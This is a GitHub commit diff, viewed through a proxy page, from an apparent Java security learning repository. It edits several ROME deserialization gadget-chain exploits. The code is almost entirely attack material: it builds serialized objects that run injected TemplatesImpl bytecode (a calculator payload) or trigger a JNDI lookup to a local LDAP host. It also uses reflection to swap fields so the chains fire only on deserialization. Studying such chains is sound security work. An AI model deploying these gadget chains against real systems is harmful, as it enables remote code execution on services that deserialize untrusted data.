FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

修改 ROME 链代码 · iammacter/JavaSecurityLearning@a25a910 · GitHub

Repository navigation

Commit a25a910

Browse files
committed
修改 ROME 链代码
1 parent 25dd6b7 commit a25a910

9 files changed

Lines changed: 26 additions & 9 deletions

File tree

167 Bytes
Binary file not shown.

‎JavaSecurity/ROME/BasicRome/src/main/java/otherChains/BadAttributeValueExpExceptionEXP.java‎

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,8 +7,10 @@
77
import javassist.ClassPool;
88
import javassist.CtClass;
99
import javassist.CtConstructor;
10+
import org.apache.commons.collections4.functors.ConstantTransformer;
1011

1112
import javax.management.BadAttributeValueExpException;
13+
import javax.xml.transform.Templates;
1214
import java.io.*;
1315
import java.lang.reflect.Field;
1416
import java.util.HashMap;
@@ -24,11 +26,15 @@ public static void main(String[] args) throws Exception{
2426
byte[] evil = getTemplatesImpl("Calc");
2527
byte[][] codes = {evil};
2628
byteCodesField.set(templates,codes);
27-
// templates.newTransformer();
28-
ToStringBean toStringBean = new ToStringBean(c,templates);
29-
// toStringBean.toString();
30-
Class toStringBeanEvil = toStringBean.getClass();
31-
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);
29+
30+
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
31+
32+
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
33+
Class Bv = Class.forName("javax.management.BadAttributeValueExpException");
34+
Field val = Bv.getDeclaredField("val");
35+
val.setAccessible(true);
36+
val.set(badAttributeValueExpException,toStringBean);
37+
3238
serialize(badAttributeValueExpException);
3339
unserialize("ser.bin");
3440
}

‎JavaSecurity/ROME/BasicRome/src/main/java/otherChains/HashTableEXP.java‎

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,9 @@
77
import javassist.ClassPool;
88
import javassist.CtClass;
99
import javassist.CtConstructor;
10+
import org.apache.commons.collections4.functors.ConstantTransformer;
1011

12+
import javax.xml.transform.Templates;
1113
import java.io.*;
1214
import java.lang.reflect.Field;
1315
import java.util.HashMap;
@@ -25,12 +27,17 @@ public static void main(String[] args) throws Exception{
2527
byte[][] codes = {evil};
2628
byteCodesField.set(templates,codes);
2729
// templates.newTransformer();
28-
ToStringBean toStringBean = new ToStringBean(c,templates);
30+
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
2931
// toStringBean.toString();
3032
Class toStringBeanEvil = toStringBean.getClass();
3133
EqualsBean equalsBean = new EqualsBean(toStringBeanEvil,toStringBean);
3234
Hashtable hashtable= new Hashtable();
3335
hashtable.put(equalsBean,"Drunkbaby");
36+
37+
Field field = toStringBean.getClass().getDeclaredField("_obj");
38+
field.setAccessible(true);
39+
field.set(toStringBean,templates);
40+
3441
serialize(hashtable);
3542
unserialize("ser.bin");
3643

‎JavaSecurity/ROME/BasicRome/src/main/java/otherChains/JdbcRowSetImplEXP.java‎

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,9 @@
33
import com.sun.rowset.JdbcRowSetImpl;
44
import com.sun.syndication.feed.impl.EqualsBean;
55
import com.sun.syndication.feed.impl.ToStringBean;
6+
import org.apache.commons.collections4.functors.ConstantTransformer;
67

8+
import javax.xml.transform.Templates;
79
import java.io.*;
810
import java.lang.reflect.Field;
911
import java.util.HashMap;
@@ -16,13 +18,15 @@ public static void main(String[] args) throws Exception {
1618
String url = "ldap://127.0.0.1:1230/ExportObject";
1719
jdbcRowSet.setDataSourceName(url);
1820

19-
20-
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
21+
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
2122
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
2223

2324
HashMap<Object,Object> hashMap = new HashMap<>();
2425
hashMap.put(equalsBean, "123");
2526

27+
Field field = toStringBean.getClass().getDeclaredField("_obj");
28+
field.setAccessible(true);
29+
field.set(toStringBean,jdbcRowSet);
2630
serialize(hashMap);
2731
unserialize("ser.bin");
2832
}

‎JavaSecurity/ROME/BasicRome/src/main/java/otherChains/ObjectBeanEXP.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ public static void main(String[] args) throws Exception{
2828
byte[] evil = getTemplatesImpl("Calc");
2929
byte[][] codes = {evil};
3030
byteCodesField.set(templates,codes);
31-
// templates.newTransformer();
31+
3232
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
3333
ObjectBean equalsBean = new ObjectBean(ToStringBean.class,toStringBean);
3434

Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

0 commit comments

Comments
 (0)

Back | FazBrowse Home | New Git URL